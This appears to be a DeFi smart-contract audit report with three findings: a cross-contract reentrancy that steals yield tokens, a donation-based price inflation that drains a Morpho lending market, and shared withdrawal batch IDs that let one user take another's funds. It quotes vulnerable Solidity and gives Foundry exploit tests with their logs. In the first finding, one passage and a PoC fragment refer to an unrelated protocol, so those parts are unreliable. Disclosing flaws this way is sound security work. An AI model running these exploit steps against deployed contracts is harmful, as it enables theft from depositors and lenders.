Issue H-1: Cross-contract reentrancy allows YIELD_TOKEN theft for the GenericERC4626 WithdrawalRequestManager variant
Source: #73
0xBoraichoT, KungFuPanda, Ragnarok, talfao
^ The only validations in-place are the tokenIn and tokenOut sanitizations, but not the whole multihop path though.
NOTE This is the Trading module we have: https://etherscan.io/address/0x179a2d2408bfbc21b72d59c4a74e5010f07dc823#code
https://etherscan.io/address/0xE592427A0AEce92De3Edee1F18E0157C05861564#code <-- UniswapV3 router
Since the WithdrawalRequestManager allows onlyVault operations for multiple different strategy "vaults",..
A combination of a default reentrancy + cross-contract reentrancy is possible...
...Through which YIELD_TOKENs can be drained from the WithdrawalRequestManager...
...---> to the yield strategy where the strategy's depositAsset != WithdrawalRequestManager.STAKE_TOKEN.
This way, the strategy will record a higher surplus (aka delta) of YIELD_TOKENs in the current YIELD_TOKEN.balanceOf(address(this)) and will mint more shares to the malicious user's account.
onlyApprovedVault permits any caller whitelisted in the isApprovedVault mapping:
/// @dev Ensures that only approved vaults can initiate withdraw requests.
modifier onlyApprovedVault() {
if (!isApprovedVault[msg.sender]) revert Unauthorized(msg.sender);
_;
}Thus, it is possible to steal funds from the WithdrawalRequestManager and then burn these YIELD_TOKENs in exchange for deposit underlying staking token assets.
A single WithdrawalRequestManager permits multiple AbstractYieldStrategy instances (aka "whitelisted vaults").
Since neither the WithdrawalRequestManager.stakeTokens nor WithdrawalRequestManager.initiateWithdraw functions have a nonReentrant modifier or an equivalent cross-contract reentrancy protection method, the
function _initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesHeld,
bytes memory data
) internal override virtual returns (uint256 requestId) {
ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy here!!!!
account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount: sharesHeld, data: data
});
} // audit: does this affect the yield token balance somehow?
/// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory depositData) internal override virtual { // audit: can it be reentered to increase the yieldtoken balance somehow???
ERC20(asset).approve(address(withdrawRequestManager), assets); // audit: reverts for USDT
withdrawRequestManager.stakeTokens(address(asset), assets, depositData); // audit malicious data
} /// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: REENTRANCY HERE??? 🪻🪻🪻
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesAmount,
bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
WithdrawRequest storage accountWithdraw = s_accountWithdrawRequest[msg.sender][account];
if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender, account, accountWithdraw.requestId);
// Receive the requested amount of yield tokens from the approved vault.
ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this), yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets
requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit: reentrancy here??? through forceWithdraw(...)???
accountWithdraw.requestId = requestId;
accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
accountWithdraw.sharesAmount = sharesAmount.toUint120();
s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be outdated
totalWithdraw: 0,
finalized: false
});
emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount, sharesAmount, requestId);
}
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {
uint256 private currentRequestId;
mapping(uint256 => uint256) private s_withdrawRequestShares;
constructor(address _erc4626)
AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626, IERC4626(_erc4626).asset()) { }
function _initiateWithdrawImpl(
address /* account */,
uint256 sharesToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
requestId = ++currentRequestId;
s_withdrawRequestShares[requestId] = sharesToWithdraw;
}
function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal override {
ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
IERC4626(YIELD_TOKEN).deposit(amount, address(this));
}
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
delete s_withdrawRequestShares[requestId];
tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this), address(this));
finalized = true;
// audit: increases the yieldtoken balance
}
function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure override returns (bool) {
return true;
}
}When the WithdrawalRequestManager is using the GenericERC4626 functionality variant:..
/ @dev Used for ERC4626s that can be staked and unstaked on demand without any additional
/// time constraints.
contract GenericERC4626WithdrawRequestManager is AbstractWithdrawRequestManager {
uint256 private currentRequestId;
mapping(uint256 => uint256) private s_withdrawRequestShares;
constructor(address _erc4626)
AbstractWithdrawRequestManager(IERC4626(_erc4626).asset(), _erc4626, IERC4626(_erc4626).asset()) { }
function _initiateWithdrawImpl(
address /* account */,
uint256 sharesToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
requestId = ++currentRequestId;
s_withdrawRequestShares[requestId] = sharesToWithdraw;
}
function _stakeTokens(uint256 amount, bytes memory /* stakeData */) internal override {
ERC20(STAKING_TOKEN).approve(address(YIELD_TOKEN), amount);
IERC4626(YIELD_TOKEN).deposit(amount, address(this));
}
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
uint256 sharesToRedeem = s_withdrawRequestShares[requestId];
delete s_withdrawRequestShares[requestId];
tokensClaimed = IERC4626(YIELD_TOKEN).redeem(sharesToRedeem, address(this), address(this));
finalized = true;
// audit: increases the yieldtoken balance
}
function canFinalizeWithdrawRequest(uint256 /* requestId */) public pure override returns (bool) {
return true;
}
}... The users who request redemptions (via initiateWithdraw) just temporarily leave sparse YIELD_TOKENs in the WithdrawalRequestManager.
It is a crucial observation needed for proving the validity of the suggested cross-contract reentrancy attack.
Spare YIELD_TOKENs in the WithdrawalRequestManager's GenericERC4626 variant as a result of other users calling initateWithdraw and leaving pending redemption requests.
NOTE Either through front-running or just proper timing, the attack will be executed before the requester calls finalizeAndRedeemWithdrawRequest or finalizeRequestManual is called.
/// @inheritdoc ILendingRouter
function enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes calldata depositData
) public override isAuthorized(onBehalf, vault) {
_enterPosition(onBehalf, vault, depositAssetAmount, borrowAmount, depositData, address(0));
}
function _enterPosition(
address onBehalf,
address vault,
uint256 depositAssetAmount,
uint256 borrowAmount,
bytes memory depositData,
address migrateFrom
) internal {
address asset = IYieldStrategy(vault).asset();
// Cannot enter a position if the account already has a native share balance
if (IYieldStrategy(vault).balanceOf(onBehalf) > 0) revert CannotEnterPosition();
if (depositAssetAmount > 0) {
// Take any margin deposit from the sender initially
ERC20(asset).safeTransferFrom(msg.sender, address(this), depositAssetAmount);
}
if (borrowAmount > 0) {
_flashBorrowAndEnter(
onBehalf, vault, asset, depositAssetAmount, borrowAmount, depositData, migrateFrom
);
} else {
_enterOrMigrate(onBehalf, vault, asset, depositAssetAmount, depositData, migrateFrom);
}
ADDRESS_REGISTRY.setPosition(onBehalf, vault); // audit: the vault can be completely permissionless
}
/// @dev Enters a position or migrates shares from a previous lending router
function _enterOrMigrate(
address onBehalf,
address vault,
address asset,
uint256 assetAmount,
bytes memory depositData,
address migrateFrom
) internal returns (uint256 sharesReceived) {
if (migrateFrom != address(0)) {
// Allow the previous lending router to repay the debt from assets held here.
ERC20(asset).checkApprove(migrateFrom, assetAmount);
sharesReceived = ILendingRouter(migrateFrom).balanceOfCollateral(onBehalf, vault);
// Must migrate the entire position
ILendingRouter(migrateFrom).exitPosition(
onBehalf, vault, address(this), sharesReceived, type(uint256).max, bytes("")
);
} else {
ERC20(asset).approve(vault, assetAmount);
sharesReceived = IYieldStrategy(vault).mintShares(assetAmount, onBehalf, depositData); // @audit:reentrant
}
_supplyCollateral(onBehalf, vault, asset, sharesReceived);
} function mintShares(
uint256 assetAmount,
address receiver,
bytes calldata depositData
) external override onlyLendingRouter setCurrentAccount(receiver) nonReentrant returns (uint256 sharesMinted) {
// Cannot mint shares if the receiver has an active withdraw request
if (_isWithdrawRequestPending(receiver)) revert CannotEnterPosition();
ERC20(asset).safeTransferFrom(t_CurrentLendingRouter, address(this), assetAmount);
sharesMinted = _mintSharesGivenAssets(assetAmount, depositData, receiver); // audit: unsanitized depositData
t_AllowTransfer_To = t_CurrentLendingRouter;
t_AllowTransfer_Amount = sharesMinted;
// Transfer the shares to the lending router so it can supply collateral
_transfer(receiver, t_CurrentLendingRouter, sharesMinted);
}
/// @dev Marked as virtual to allow for RewardManagerMixin to override
function _mintSharesGivenAssets(uint256 assets, bytes memory depositData, address receiver) internal virtual returns (uint256 sharesMinted) { // audit
if (assets == 0) return 0;
// First accrue fees on the yield token
_accrueFees();
uint256 initialYieldTokenBalance = _yieldTokenBalance();
_mintYieldTokens(assets, receiver, depositData); // audit
uint256 yieldTokensMinted = _yieldTokenBalance() - initialYieldTokenBalance; // audit: can this be manipulated through reentrancy somehow???
sharesMinted = (yieldTokensMinted * effectiveSupply()) / (initialYieldTokenBalance - feesAccrued() + VIRTUAL_YIELD_TOKENS); // audit: effectiveSupply can be manipulated to become greater than intended
_mint(receiver, sharesMinted); // audit: reentrant
} /// @dev By default we can use the withdraw request manager to stake the tokens
function _mintYieldTokens(uint256 assets, address /* receiver */, bytes memory depositData) internal override virtual { // audit: can it be reentered to increase the yieldtoken balance somehow???
ERC20(asset).approve(address(withdrawRequestManager), assets); // audit: reverts for USDT
withdrawRequestManager.stakeTokens(address(asset), assets, depositData); // audit malicious data
} function _initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesHeld,
bytes memory data
) internal override virtual returns (uint256 requestId) {
ERC20(yieldToken).approve(address(withdrawRequestManager), yieldTokenAmount);
requestId = withdrawRequestManager.initiateWithdraw({ // audit: reentrancy here!!!!
account: account, yieldTokenAmount: yieldTokenAmount, sharesAmount: sharesHeld, data: data
});
} // audit: does this affect the yield token balance somehow?NOTE The Uniswap multihop trade data should include a malicious swap middle pool to make the reentrancy callback itself even possible.
You can see the e2e PoC at the end of this report.
None.
Theft of other users' funds via stealing YIELD_TOKENs from the pending ERC4626-variant WithdrawalRequestManager requests of other users.
/// @inheritdoc IYieldStrategy
function initiateWithdraw(
address account,
uint256 sharesHeld,
bytes calldata data
) external onlyLendingRouter setCurrentAccount(account) override returns (uint256 requestId) {
requestId = _withdraw(account, sharesHeld, data); // audit: lacks nonreentrant modifier
}
/// @inheritdoc IYieldStrategy
/// @dev We do not set the current account here because valuation is not done in this method. A
/// native balance does not require a collateral check.
function initiateWithdrawNative(
bytes memory data // audit: lscks nonReentrant, so can reenter exactly here
) external override returns (uint256 requestId) { // audit: lacks the nonReentrant modifier
requestId = _withdraw(msg.sender, balanceOf(msg.sender), data); // audit: unsanitized data
}
function _withdraw(address account, uint256 sharesHeld, bytes memory data) internal returns (uint256 requestId) {
if (sharesHeld == 0) revert InsufficientSharesHeld();
// Accrue fees before initiating a withdraw since it will change the effective supply
_accrueFees();
uint256 yieldTokenAmount = convertSharesToYieldToken(sharesHeld);
requestId = _initiateWithdraw(account, yieldTokenAmount, sharesHeld, data);
// Escrow the shares after the withdraw since it will change the effective supply
// during reward claims when using the RewardManagerMixin.
s_escrowedShares += sharesHeld;
} /// @inheritdoc IWithdrawRequestManager
function setApprovedVault(address vault, bool isApproved) external override onlyOwner {
isApprovedVault[vault] = isApproved;
emit ApprovedVault(vault, isApproved);
}
/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: non-reliable due to reentrancy
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
/// @inheritdoc IWithdrawRequestManager
function initiateWithdraw(
address account,
uint256 yieldTokenAmount,
uint256 sharesAmount,
bytes calldata data
) external override onlyApprovedVault returns (uint256 requestId) {
WithdrawRequest storage accountWithdraw = s_accountWithdrawRequest[msg.sender][account];
if (accountWithdraw.requestId != 0) revert ExistingWithdrawRequest(msg.sender, account, accountWithdraw.requestId);
// Receive the requested amount of yield tokens from the approved vault.
ERC20(YIELD_TOKEN).safeTransferFrom(msg.sender, address(this), yieldTokenAmount); // audit: exchanging yieldtoken for the underlying assets
requestId = _initiateWithdrawImpl(account, yieldTokenAmount, data); // audit: reentrancy here??? through forceWithdraw(...)???
accountWithdraw.requestId = requestId;
accountWithdraw.yieldTokenAmount = yieldTokenAmount.toUint120();
accountWithdraw.sharesAmount = sharesAmount.toUint120();
s_tokenizedWithdrawRequest[requestId] = TokenizedWithdrawRequest({
totalYieldTokenAmount: yieldTokenAmount.toUint120(), // audit: may be outdated
totalWithdraw: 0,
finalized: false
});
emit InitiateWithdrawRequest(account, msg.sender, yieldTokenAmount, sharesAmount, requestId);
}The only swap path validations are ensuring the first and last tokens match expected values (tokenIn and deUSD in correct order) and a minimum length. This allows an attacker to insert their own malicious token and pool addresses mid-path. During the Uniswap swap, when execution reaches the attacker-controlled pool, the attacker’s token contract can execute arbitrary code in its transfer function. By coding this hook to reenter the Jigsaw protocol—specifically, calling HoldingManager.deposit—the attacker can deposit some new tokens before the swap completes.
function _exactInBatch(address from, Trade memory trade) private pure returns (bytes memory) {
UniV3BatchData memory data = abi.decode(trade.exchangeData, (UniV3BatchData));
// Validate path EXACT_IN = [sellToken, fee, ... buyToken]
require(32 <= data.path.length);
require(_toAddress(data.path, 0) == _getTokenAddress(trade.sellToken));
require(_toAddress(data.path, data.path.length - 20) == _getTokenAddress(trade.buyToken));
ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams(
data.path, from, trade.deadline, trade.amount, trade.limit
);
return abi.encodeWithSelector(ISwapRouter.exactInput.selector, params);
} function _getExecutionData(
uint16 dexId,
address from,
Trade memory trade
)
internal
pure
returns (
address spender,
address target,
uint256 msgValue,
bytes memory executionCallData
)
{
if (trade.buyToken == trade.sellToken) revert SellTokenEqualsBuyToken();
if (DexId(dexId) == DexId.UNISWAP_V3) {
return UniV3Adapter.getExecutionData(from, trade);
} else if (DexId(dexId) == DexId.BALANCER_V2) { /// @dev Initiates a withdraw request for the vault shares held by the account
function _initiateWithdraw(
address vault,
address account,
bytes calldata data
) internal returns (uint256 requestId) {
uint256 sharesHeld = balanceOfCollateral(account, vault);
if (sharesHeld == 0) revert InsufficientSharesHeld();
return IYieldStrategy(vault).initiateWithdraw(account, sharesHeld, data); // audit
}To run the real coded PoC you need to first modify the AbstractStakingStrategy and the MorphoLendingRouter contracts in such a way that all direct asset.approve(...) are replaced with either the custom safe .checkApprove or .safeApprove or .forceApprove.
In other words, you just need to fix this another USDT incompatibility error first.
p.createPoolAndMint(PoolCreator.CreateArgs({
tokenA: IERC20(tokenIn),
tokenAAmount: 1e6,
tokenB: fakeToken,
tokenBAmount: 1000e18,
fee: poolFee,
factory: IUniswapV3Factory(IPeripheryImmutableState(uniswapRouter).factory())
}));
vm.stopPrank();
}
HackCode code = new HackCode(manager, IERC20(tokenIn));
// Since the holder's user cannot be a contract, the attacker has to resort to
// https://eips.ethereum.org/EIPS/eip-7702 .
// They can set a pointer in their EOA pointing to the code.
// Since this EIP is not yet supported in Foundry, we'll emulate it with vm.etch:
deal(tokenIn, user, 100e6, true);
vm.etch(user, address(code).code);
fakeToken.callme(user);
bytes memory dataClaimInvest = abi.encode(
amount * 99 / 100, // amountOutMinimum
uint256(block.timestamp), // deadline
abi.encodePacked(deUSD, poolFee, USDC, poolFee, tokenIn,
// note how the control is temporary transferred to the attacker's token:
poolFee, fakeToken, poolFee, tokenIn)
);You can see more tokens are minted that intended:
With the attack:
│ │ │ │ └─ ← [Return] 50292400900908 [5.029e13]
│ │ │ ├─ [23036] ERC4626Mock::transfer(StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 50092400904714 [5.009e13])
│ │ │ │ ├─ emit Transfer(from: GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 50092400904714 [5.009e13])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4: 0x00000000000000000000000000000000000000000000000000002dbd9cb0cb2c → 0x0000000000000000000000000000000000000000000000000000002e90edc122
│ │ │ │ │ @ 0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 → 0x00000000000000000000000000000000000000000000000000002d8f0bc30a0a
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit DeltaYieldToken(_delta: 50092400904714 [5.009e13])Without the attack enabled:
│ │ │ ├─ [548] ERC4626Mock::balanceOf(GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
│ │ │ │ └─ ← [Return] 50192400902810 [5.019e13]
│ │ │ ├─ [23036] ERC4626Mock::transfer(StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 49992400906616 [4.999e13])
│ │ │ │ ├─ emit Transfer(from: GenericERC4626WithdrawRequestManager: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: StakingStrategy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 49992400906616 [4.999e13])
│ │ │ │ ├─ storage changes:
│ │ │ │ │ @ 0xb3024e141922907eb80bf787d622b0c592108908135c35e38e6ebb7d5636f1e4: 0x00000000000000000000000000000000000000000000000000002da65439ea9a → 0x0000000000000000000000000000000000000000000000000000002e90edc122
│ │ │ │ │ @ 0x8e945654193bec28956c368b451931aae1dd2f910b3127995a9fc7169f7ea4d1: 0 → 0x00000000000000000000000000000000000000000000000000002d77c34c2978
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ emit DeltaYieldToken(_delta: 49992400906616 [4.999e13])The difference is EXACTLY the 99999998098 shares transferred during the reentrant swap callback via initiateWithdraw (i.e., 50092400904714-99999998098 = 4.99924009e13.
You can see that more shares are minted than the deposit is really worth.
This can be maximized by targeting forceWithdraw to make an artificially earned delta even greater!
https://gist.github.com/c-plus-plus-equals-c-plus-one/500a3df82f34eb894db54a4e619fcfed
The "before balance" state accounting hould be captured after the _preStakingTrade call:
/// @inheritdoc IWithdrawRequestManager
function stakeTokens(
address depositToken,
uint256 amount,
bytes calldata data // audit
) external override onlyApprovedVault returns (uint256 yieldTokensMinted) { // @audit: should actually be non reentrant I think
- uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
ERC20(depositToken).safeTransferFrom(msg.sender, address(this), amount);
(uint256 stakeTokenAmount, bytes memory stakeData) = _preStakingTrade(depositToken, amount, data); // audit: reenter and call initiateWithdraw from a diffferent vault (i.e., cross-contract reentrancy)
+ uint256 initialYieldTokenBalance = ERC20(YIELD_TOKEN).balanceOf(address(this));
_stakeTokens(stakeTokenAmount, stakeData);
yieldTokensMinted = ERC20(YIELD_TOKEN).balanceOf(address(this)) - initialYieldTokenBalance; // audit: REENTRANCY HERE??? 🪻🪻🪻
ERC20(YIELD_TOKEN).safeTransfer(msg.sender, yieldTokensMinted);
}
Source: #214
mstpr-brainbot
When initiateWithdraw() is called, the user’s collateral in Morpho (i.e., their shares) is not burned, but the underlying LP tokens are used to initiate a withdrawal request. At the same time, the effectiveSupply() is decreased due to the shares being escrowed.
This means the user can donate yield tokens to the strategy and artificially inflate the collateral price on Morpho, while their original deposit remains safely secured in the withdrawal process untouched and retrievable.
We can see that when initiateWithdraw() is called, the user's assets are registered as a withdrawal request in the WithdrawRequestManager, and s_escrowedShares is increased.
Since the shares are not burned, totalSupply() remains the same before and after the initiateWithdraw call. However, because escrowedShares increases, the effectiveSupply() becomes smaller:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L149-L151
If the user holds a significant amount of shares, they can initiate a withdrawal, drastically reducing the effectiveSupply(). While the minimum effectiveSupply() is bounded by VIRTUAL_SHARES (set to 1e6), this still opens up a vulnerability.
The next step is to look at how price() is calculated in the YieldStrategy (Shares) contract. When users borrow in Morpho, the Morpho oracle (which is the YieldStrategy contract) calls price() to determine the value of 1 collateral token in terms of the loan token:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/AbstractYieldStrategy.sol#L118-L120
Since Morpho.borrow() can be called directly without going through the LendingRouter, the transient variables are not used. Therefore, the overridden convertToAssets() method that depends on transient state is skipped, and the base super.convertToAssets() is used instead:
https://github.com/sherlock-audit/2025-06-notional-exponent/blob/82c87105f6b32bb362d7523356f235b5b07509f9/notional-v4/src/single-sided-lp/AbstractSingleSidedLP.sol#L300-L303
Now, the critical part is how convertToAssets() is calculated:
function convertToAssets(uint256 shares) public view virtual override returns (uint256) {
uint256 yieldTokens = convertSharesToYieldToken(shares);
return (yieldTokens * convertYieldTokenToAsset() * (10 ** _assetDecimals)) /
(10 ** (_yieldTokenDecimals + DEFAULT_DECIMALS));
}
function convertSharesToYieldToken(uint256 shares) public view override returns (uint256) {
return (shares * (_yieldTokenBalance() - feesAccrued() + VIRTUAL_YIELD_TOKENS)) / effectiveSupply();
}
function convertYieldTokenToShares(uint256 yieldTokens) public view returns (uint256) {
return (yieldTokens * effectiveSupply()) / (_yieldTokenBalance() - feesAccrued() + VIRTUAL_YIELD_TOKENS);
}If an attacker donates, say, 1e18 of the yield token to the contract, then the convertSharesToYieldToken() for 1e24 shares would compute as:
Given that convertYieldTokenToAsset() always returns 1e18 (i.e., DEFAULT_PRECISION), the final convertToAssets() result becomes:
This is extremely large.
Since Morpho calculates maxBorrow = collateral * price() * LTV / 1e36, and:
- the collateral is on the order of
1e24(e.g., shares) - the
price()returns1e36
the result is:
which means the user can borrow up to 1e24 units of the loan token — essentially draining the entire USDC market if the loan token uses 6 decimals.
Crucially, the attacker only loses the 1e18 donation of the yield token — which inflated the price() — and they can still finalize their withdrawal request and reclaim their original shares.
- User has significant share of the YieldStrategy such that withdrawing all and donating would increase the rate
None needed
- initiateWithdraw() on YieldStrategy
- donate some yieldToken to YieldStrategy
- Borrow the entire YieldStrategy/asset morpho market
- Finalize the withdrawal request, get back the collaterals
All supplied funds to morpho market will be lost.
// forge test --match-test test_Drain_MorphoSuppliers_ByInflationDonation -vv
function test_Drain_MorphoSuppliers_ByInflationDonation() public {
vm.skip(address(managers[stakeTokenIndex]) == address(0));
console.log("Asset is", IERC20Metadata(address(asset)).symbol());
address tapir = address(69);
deal(address(asset), tapir, defaultDeposit);
_enterPosition(tapir, defaultDeposit, 0);
uint256 balanceBefore = lendingRouter.balanceOfCollateral(tapir, address(y));
console.log("Effective supply before initiate withdraw: ", y.effectiveSupply());
console.log("Price before initiate withdraw: ", y.price());
MarketParams memory marketParams = MorphoLendingRouter(address(lendingRouter)).marketParams(address(y));
Position memory position = MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))), tapir);
uint maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow is: ", maxBorrow);
vm.startPrank(tapir);
lendingRouter.initiateWithdraw(tapir, address(y), getWithdrawRequestData(tapir, balanceBefore));
position = MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))), tapir);
maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow after initiate withdraw: ", maxBorrow);
console.log("Effective supply after initiate withdraw: ", y.effectiveSupply());
console.log("Price after initiate withdraw: ", y.price());
deal(address(y.yieldToken()), tapir, 1e18);
console.log("Yield token of the vault: ", IERC20Metadata(address(y.yieldToken())).symbol());
IERC20(y.yieldToken()).transfer(address(y), 1e18);
position = MORPHO.position(Id.wrap(keccak256(abi.encode(marketParams))), tapir);
maxBorrow = position.collateral * y.price() / 1e36;
console.log("Max borrow after donation: ", maxBorrow);
console.log("Effective supply after donation: ", y.effectiveSupply());
console.log("Price after donation: ", y.price());
Id idx = Id.wrap(keccak256(abi.encode(marketParams)));
Market memory market = MORPHO.market(idx);
console.log("Total supplied", market.totalSupplyAssets);
console.log("Total borrowed", market.totalBorrowAssets);
uint256 borrowable = market.totalSupplyAssets - market.totalBorrowAssets;
console.log("Borrowable is", borrowable);
MORPHO.borrow(marketParams, borrowable, 0, tapir, tapir);
console.log("Effective supply after borrow: ", y.effectiveSupply());
position = MORPHO.position(idx, tapir);
console.log("collateral", position.collateral);
console.log("borrowShares", position.borrowShares);
maxBorrow = position.collateral * y.price() / 1e36;
uint canBorrow = maxBorrow - position.borrowShares;
console.log("Can borrow is", canBorrow); // STILL EXTREMELY HIGH!
}Logs: Ran 1 test for tests/TestSingleSidedLPStrategyImpl.sol:Test_LP_Curve_sDAI_sUSDe [PASS] test_Drain_MorphoSuppliers_ByInflationDonation() (gas: 2739684) Logs: Asset is USDC Effective supply before initiate withdraw: 8724580706403393214704000000 Price before initiate withdraw: 1145196000000000000 Max borrow is: 9991354926 Max borrow after initiate withdraw: 9991354926 Effective supply after initiate withdraw: 1000000 Price after initiate withdraw: 1145196000000000000 Yield token of the vault: MtEthena-gauge Max borrow after donation: 9991362815231220073495623667 Effective supply after donation: 1000000 Price after donation: 1145196904178796121145196000000000000 // HUGE Total supplied 500000000000 Total borrowed 0 Borrowable is 500000000000 Effective supply after borrow: 1000000 collateral 8724580706403393214703000000 borrowShares 500000000000000000 Can borrow is 9991362814731220073495623667
tbd
Source: #297
0xc0ffEE, Atharv, Ledger_Patrol, Ragnarok, Schnilch, X0sauce, aman, hgrano, seeques, xiaoming90
Some users may profit while others incur losses because the DineroWithdrawRequestManager contract does not track the balance of each upxETH token per withdrawal request, even though a single upxETH token may be associated with multiple requests.
When a user initiates a withdrawal request through DineroWithdrawRequestManager, the contract executes the _initiateWithdrawImpl() function. This function captures PirexETH.batchId() before and after calling PirexETH::initiateRedemption():
DineroWithdrawRequestManager::_initiateWithdrawImpl() function:
function _initiateWithdrawImpl(
address /* account */,
uint256 amountToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
...
=> uint256 initialBatchId = PirexETH.batchId();
pxETH.approve(address(PirexETH), amountToWithdraw);
PirexETH.initiateRedemption(amountToWithdraw, address(this), false);
=> uint256 finalBatchId = PirexETH.batchId();
uint256 nonce = ++s_batchNonce;
=> return nonce << 240 | initialBatchId << 120 | finalBatchId;
}When the user later finalizes the withdrawal via _finalizeWithdrawImpl(), the contract attempts to redeem all upxETH tokens within the range [initialBatchId, finalBatchId]:
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
finalized = canFinalizeWithdrawRequest(requestId);
if (finalized) {
(uint256 initialBatchId, uint256 finalBatchId) = _decodeBatchIds(requestId);
=> for (uint256 i = initialBatchId; i <= finalBatchId; i++) {
=> uint256 assets = upxETH.balanceOf(address(this), i);
if (assets == 0) continue;
PirexETH.redeemWithUpxEth(i, assets, address(this));
tokensClaimed += assets;
}
}
WETH.deposit{value: tokensClaimed}();
}After this, upxETH.balanceOf(address(this), i) for all i in the range [initialBatchId, finalBatchId] becomes 0.
On the other hand, initialBatchId and finalBatchId may overlap across multiple withdrawal requests due to the logic inside PirexETH::initiateRedemption(), which internally calls PirexEthValidators::_initiateRedemption():
function _initiateRedemption(
uint256 _pxEthAmount,
address _receiver,
bool _shouldTriggerValidatorExit
) internal {
pendingWithdrawal += _pxEthAmount;
while (pendingWithdrawal / DEPOSIT_SIZE != 0) {
uint256 _allocationPossible = DEPOSIT_SIZE + _pxEthAmount - pendingWithdrawal;
=> upxEth.mint(_receiver, batchId, _allocationPossible, "");
...
batchIdToValidator[batchId++] = _pubKey;
status[_pubKey] = DataTypes.ValidatorStatus.Withdrawable;
}
...
if (_pxEthAmount > 0) {
=> upxEth.mint(_receiver, batchId, _pxEthAmount, "");
}
}This can lead to some users benefiting at the expense of others. Consider the following scenario:
- User A initiates a withdrawal request, associated with
upxETHtoken IDs 1 and 2. - User B then initiates a withdrawal request, associated with token IDs 2 and 3.
- User A finalizes their request and redeems all ETH from token IDs 1 and 2, even though ID 2 is also tied to User B's request. User A withdraws more than intended.
